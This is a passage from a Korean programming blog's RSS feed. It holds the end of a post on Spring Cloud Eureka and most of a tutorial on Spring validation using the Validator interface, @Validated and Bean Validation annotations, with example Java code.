&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;296&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1gJD9/btreY3uYcn5/ieYwDNIRPdwg6jy5uyKuC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1gJD9/btreY3uYcn5/ieYwDNIRPdwg6jy5uyKuC0/img.png&quot; data-alt=&quot;Instacne 삭제&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1gJD9/btreY3uYcn5/ieYwDNIRPdwg6jy5uyKuC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1gJD9%2FbtreY3uYcn5%2FieYwDNIRPdwg6jy5uyKuC0%2Fimg.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;296&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Instacne 삭제&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;188&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GOv5E/btrePWxAeNw/APTuZAK5oBR1PkJTaXUXTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GOv5E/btrePWxAeNw/APTuZAK5oBR1PkJTaXUXTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GOv5E/btrePWxAeNw/APTuZAK5oBR1PkJTaXUXTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGOv5E%2FbtrePWxAeNw%2FAPTuZAK5oBR1PkJTaXUXTK%2Fimg.png&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;188&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;DELETE를 통해 Instance 목록에서 삭제된 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;다음 포스팅에서는 Spring Cloud Gateway에 대해 알아보자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;참조&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://sabarada.tistory.com/61&quot;&gt;https://sabarada.tistory.com/61&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://github.com/Netflix/eureka/wiki/Eureka-REST-operations&quot;&gt;https://github.com/Netflix/eureka/wiki/Eureka-REST-operations&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;a href=&quot;https://netflixtechblog.com/netflix-shares-cloud-load-balancing-and-failover-tool-eureka-c10647ef95e5&quot;&gt;https://netflixtechblog.com/netflix-shares-cloud-load-balancing-and-failover-tool-eureka-c10647ef95e5&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description>
      <category>스프링</category>
      <category>Eureka</category>
      <category>eureka client</category>
      <category>eureka server</category>
      <category>spring</category>
      <category>spring cloud</category>
      <category>spring cloud eureka</category>
      <category>spring eureka</category>
      <author>Awdsd</author>
      <guid isPermaLink="true">https://cjw-awdsd.tistory.com/52</guid>
      <comments>https://cjw-awdsd.tistory.com/52#entry52comment</comments>
      <pubDate>Mon, 13 Sep 2021 21:58:05 +0900</pubDate>
    </item>
    <item>
      <title>[스프링] Validation 방법(Validator, Bean Validation) 설명/예제</title>
      <link>https://cjw-awdsd.tistory.com/50</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번 글에서는 스프링의 Validation 하는 방법인 Validator과 Bean Validation에 대해 알아보자.&lt;/span&gt;&lt;/blockquote&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Validator&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;첫번째 방법은 &lt;b&gt;Validator Interface&lt;/b&gt;를 사용한 방법이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;Validation Interface&lt;/b&gt;는 다음과 같이 정의되어있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628346104549&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface Validator {
    boolean supports(Class&amp;lt;?&amp;gt; clazz);
    void validate(Object target, Errors errors);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 Interface를 구현하고 스프링에서 제공하는 &lt;b&gt;WebDataBinder&lt;/b&gt;를 통해 등록해서 사용할 수 있다. &lt;b&gt;WebDataBinder&lt;/b&gt;는 스프링 파라미터의 &lt;b&gt;바인딩과 검증 기능&lt;/b&gt;을 제공한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Validator 구현체를 다음과 같이 구현했다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628346222004&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Component
public class TestValidator implements Validator {
    /**
     * 검증하려는 클래스를 체크
     */
    @Override
    public boolean supports(Class&amp;lt;?&amp;gt; clazz) {
        return clazz.isAssignableFrom(Test1.class);
    }

    /**
     * 검증
     */
    @Override
    public void validate(Object target, Errors errors) {
        Test1 test1 = (Test1) target;
        //age가 1000보다 클 경우
        if(test1.getAge() &amp;gt; 1000) {
            //에러 field와 에러 code를 입력
            errors.rejectValue(&quot;age&quot;, &quot;age가 1000보다 큽니다&quot;);
        }
        //name이 입력되지 않았을 경우
        if(!StringUtils.hasText(test1.getName())) {
            errors.rejectValue(&quot;name&quot;, &quot;이름이 입력되지 않았습니다.&quot;);
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1628346236763&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Data
public class Test1 {
    String name;
    Integer age;
}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;supports() : &lt;b&gt;검증하려는 클래스를 체크&lt;/b&gt;하는 메소드이다. 위 같은 경우 Test1 클래스를 검증하기 위해 Test1를 체크한다.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;validate() : 실제로 데이터를 검증하는 로직이 들어있다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Controller는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628347101565&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    private final TestValidator testValidator;

    /**
     * 컨트롤러 호출될 때마다 이 메소드 호출
     */
    @InitBinder
    public void init(WebDataBinder webDataBinder) {
        webDataBinder.addValidators(testValidator);
    }

    @GetMapping(&quot;/validate&quot;)
    public Object validateTest(@ModelAttribute Test1 test1, BindingResult bindingResult) {
        testValidator.validate(test1, bindingResult);
        if(bindingResult.hasErrors()) {
            return bindingResult.getFieldErrors();
        }
        return &quot;success&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@InitBinder 어노테이션은 해당 Controller가 호출될 때마다 해당 메소드가 수행되게 한다. 이 구문에서 WebDataBinder를 통해 Validator를 등록한다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 요청(/validate)를 수행하면 Test1 VO에 데이터를 입력해 testValidator.validate()를 통해 검증을 수행한다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;BindResult는 검증을 수행하면서 발생한 검증 에러를 담는 객체이다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;검증이 끝난후 bindingResult.hasErrors()를 이용하면 에러가 있었는지 체크할 수 있고 getFieldErrors()로 에러 목록을 가져올 수 있다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;1168&quot; width=&quot;436&quot; height=&quot;632&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eb3ju5/btrbyIOl19i/6CGu49m9rJRthnrwUvyo0k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eb3ju5/btrbyIOl19i/6CGu49m9rJRthnrwUvyo0k/img.png&quot; data-alt=&quot;geFieldErrors() 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eb3ju5/btrbyIOl19i/6CGu49m9rJRthnrwUvyo0k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feb3ju5%2FbtrbyIOl19i%2F6CGu49m9rJRthnrwUvyo0k%2Fimg.png&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;1168&quot; width=&quot;436&quot; height=&quot;632&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;geFieldErrors() 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;모든 Controller의 메소드마다 검증을 수행하려면 validate()를 수행해야할까? &lt;b&gt;@Validated&lt;/b&gt; 어노테이션을 이용해 생략할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628348492920&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    private final TestValidator testValidator;

    /**
     * 컨트롤러 호출될 때마다 이 메소드 호출
     */
    @InitBinder
    public void init(WebDataBinder webDataBinder) {
        webDataBinder.addValidators(testValidator);
    }

    @GetMapping(&quot;/validate&quot;)
    public Object validateTestV2(@Validated @ModelAttribute Test1 test1, BindingResult bindingResult) {
        //@Validated를 사용하면 testValidator.validate()를 생략할 수 있음.
        if(bindingResult.hasErrors()) {
            return bindingResult.getAllErrors();
        }
        return &quot;success&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위처럼 검증할 객체에 &lt;b&gt;@Validated를 붙여줌으로써 자동으로 검증하여 BindingResult에 담아준다&lt;/b&gt;. 결과는 위와 동일하다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bean Validation&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bean Validation은 특정 기능 구현체가 아니라 &lt;b&gt;Bean Validation2.0(JSR-380)&lt;/b&gt;이라는 기술 표준이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;쉽게 이야기해서 &lt;b&gt;검증 어노테이션과 여러 인터페이스 모음&lt;/b&gt;이다.EX)JPA는 표준 기술, 하이버네이트는 구현체&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bean Validatio의 일반적인 구현체는 하이버네이트 Validator이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bean Validation을 사용하기 위해 아래 의존성을 추가해야 한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628348605514&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;implementation 'org.springframework.boot:spring-boot-starter-validation'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bean Validation을 적용한 예시는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628348655623&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Data
public class Test1 {
    
    @NotBlank
    String name;
    
    @Max(1000)
    Integer age;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 처럼 각 속성마다 검증하고 싶은 &lt;b&gt;Bean Validation Annotation&lt;/b&gt;을 붙이면 된다. 위의 어노테이션은 Validator에서 봤던 검증 기능을 그대로 구현한것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Bean Validation 어노테이션은 다음과 같이 여러가지가 있다.&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;어노테이션 이름&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;기능&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@AssertFalse&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;False일 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@AssertTrue&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;True일 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@DecimalMax(value=)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;지정 값 이하 실수&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@DecimalMin(value=)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;지정 값 이상 실수&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Digits(integer=,fraction=)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;속성 값이 지정된 정수화 소수 자리수보다 적을 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Future&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;속성 날짜가 현재보다 미래인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Past&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;속성 날짜가 현재보다 과거인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Max(value)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;지정 값이하인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Min(value)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;지정 값이상인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@NotNull&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;널이 아닌 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Null&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;널인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Pattern(regex=, flag=)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;해당 정규식 통과인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Size(min=, max=)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;문자열 또는 배열이 지정값 사이인 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;@Valid&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;확인 조건 만족한 경우&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Controller는 어떻게 변경되는지 보자.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628348811470&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@RestController
@Slf4j
@RequiredArgsConstructor
public class ValidateTestController {

    @GetMapping(&quot;/validate2&quot;)
    public Object validateTestV2(@Validated @ModelAttribute Test1 test1) {
        return &quot;success&quot;;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위에서 작성했던 @Initbinder 어노테이션, BindingResult, Validator가 모두 사라진 것을 볼 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Test1.name에 빈값, Test1.age에 1000이상의 숫자를 요청했을 때 결과는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628348844723&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Field error in object 'test1' on field 'name': rejected value []; codes [NotBlank.test1.name,NotBlank.name,NotBlank.java.lang.String,NotBlank]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [test1.name,name]; arguments []; default message [name]]; default message [공백일 수 없습니다]
Field error in object 'test1' on field 'age': rejected value [1001]; codes [Max.test1.age,Max.age,Max.java.lang.Integer,Max]; arguments [org.springframework.context.support.DefaultMessageSourceResolvable: codes [test1.age,age]; arguments []; default message [age],1000]; default message [1000 이하여야 합니다]]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;그리고 400 BadRequest를 던진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;물론 Validator때와 같이 BindingResult를 사용할 수 있다.. 아래는 Bean Validation으로 검증했을 때 BindingResult에 담기는 에러이다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;334&quot; data-origin-height=&quot;949&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zzUDC/btrbpPhnupo/5SOoSthhkif2BmLNAfLaK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zzUDC/btrbpPhnupo/5SOoSthhkif2BmLNAfLaK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zzUDC/btrbpPhnupo/5SOoSthhkif2BmLNAfLaK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzzUDC%2FbtrbpPhnupo%2F5SOoSthhkif2BmLNAfLaK1%2Fimg.png&quot; data-origin-width=&quot;334&quot; data-origin-height=&quot;949&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;또한 에러 코드 메시지를 보면 default로 '공백일 수 없습니다' 또는 '1000 이하여야 합니다'가 발생하는데 메시지를 수정하고 싶다면 다음과 같이 어노테이션에 &lt;b&gt;message&lt;/b&gt; 속성을 사용해 메세지를 변경할 수 있다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628349579756&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@Data
public class Test1 {

    @NotBlank(message = &quot;공백X&quot;)
    String name;

    @Max(value = 1000, message = &quot;1000 초과 X&quot;)
    Integer age;
}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;- Bean Validatioin이 작동하는 과정 -&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;위 spring-boot-starter-validation 의존성을 등록하면 Spring에서 자동으로 '&lt;b&gt;LocalValidatorFactoryBean&lt;/b&gt;'을 &lt;b&gt;Global Validator&lt;/b&gt;에 등록하는데 이 Validator가 &lt;b&gt;검증 어노테이션(@NotNull등)을 통해 검증을 수행&lt;/b&gt;한다. 그렇기 때문에 검증을 원하는 객체는 &lt;b&gt;@Validated 어노테이션을 적용해야한다.&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;또한 Bean Validation은 Binding에 성공한 필드만 적용된다. 즉, Integer 타입의 속성에 String값이 들어오면 Bean Validation검증전에 TypeMismatch로 처리된다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;특정 상황에만 Validation 어노테이션을 적용하고 싶은 경우가 있을텐데 이럴때는 &lt;b&gt;group&lt;/b&gt; 속성 기능을 사용할 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;먼저 특정 상황을 구별할 빈 Interface 두개를 만들자.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1628350382617&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public interface Test1Check {
}

public interface Test2Check {
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이제 아래와 같이 Validation 어노테이션에 group속성을 이용해 interface를 등록한다.&lt;/span&gt;&lt;/p&gt;
